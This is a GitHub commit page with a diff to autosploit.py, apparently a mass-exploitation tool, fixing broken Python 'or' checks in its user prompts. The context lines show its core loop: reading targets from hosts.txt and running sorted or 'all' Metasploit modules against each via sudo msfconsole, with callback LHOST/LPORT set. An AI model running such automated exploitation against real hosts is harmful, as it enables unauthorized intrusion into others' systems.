Skip to content

Commit 57e6304

Browse files
authored
Merge pull request #3 from JustinAzoff/fix-or-syntax
fix incorrect 'or' syntax.
2 parents 44504fc + fa4587c commit 57e6304

1 file changed

Lines changed: 12 additions & 12 deletions

File tree

autosploit.py

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -113,15 +113,15 @@ def exploit(query):
113113

114114
# We'll give the user the option to run all modules in a 'hail mary' type of attack or allow
115115
# a more directed approach with the sorted modules.
116-
choice = raw_input("\n[" + t.magenta("?") + "]Run sorted or all modules against targets? [S]orted/[A]ll: ")
116+
choice = raw_input("\n[" + t.magenta("?") + "]Run sorted or all modules against targets? [S]orted/[A]ll: ").lower()
117117

118-
if choice == 's' or 'S':
118+
if choice == 's':
119119
with open( "hosts.txt", "rb" ) as host_list:
120120
for rhosts in host_list:
121121
for exploit in sorted_modules:
122122
template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit)
123123
os.system(template)
124-
elif choice == 'a' or 'A':
124+
elif choice == 'a':
125125
with open( "hosts.txt", "rb" ) as host_list:
126126
for rhosts in host_list:
127127
for exploit in all_modules:
@@ -302,11 +302,11 @@ def main():
302302
if not os.path.isfile("hosts.txt"):
303303
targets(True)
304304
else:
305-
append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ")
305+
append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower()
306306

307-
if append == 'a' or 'A':
307+
if append == 'a':
308308
targets(False)
309-
elif append == 'o' or 'O':
309+
elif append == 'o':
310310
targets(True)
311311
else:
312312
print "\n[" + t.red("!") + "]Unhandled Option."
@@ -359,14 +359,14 @@ def main():
359359
if "Active: inactive" in postgresql:
360360
print "\n[" + t.red("!") + "]Warning. Hueristics indicate Postgresql Service is offline"
361361

362-
start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ")
363-
if start_pst == 'y' or 'Y':
362+
start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ").lower()
363+
if start_pst == 'y':
364364
os.system("sudo service postgresql start")
365365

366366
print "[" + t.green("+") + "]Postgresql Service Started..."
367367
time.sleep(1.5)
368368

369-
elif start_pst == 'n' or 'N':
369+
elif start_pst == 'n':
370370
print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active."
371371
print "[" + t.red("!") + "]Aborted."
372372
time.sleep(1.5)
@@ -382,14 +382,14 @@ def main():
382382
if "Active: inactive" in apache:
383383
print "\n[" + t.red("!") + "]Warning. Hueristics indicate Apache Service is offline"
384384

385-
start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ")
386-
if start_ap == 'y' or 'Y':
385+
start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ").lower()
386+
if start_ap == 'y':
387387
os.system("sudo service apache2 start")
388388

389389
print "[" + t.green("+") + "]Apache2 Service Started..."
390390
time.sleep(1.5)
391391

392-
elif start_ap == 'n' or 'N':
392+
elif start_ap == 'n':
393393
print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active."
394394
print "[" + t.red("!") + "]Aborted."
395395
time.sleep(1.5)

0 commit comments

Comments
 (0)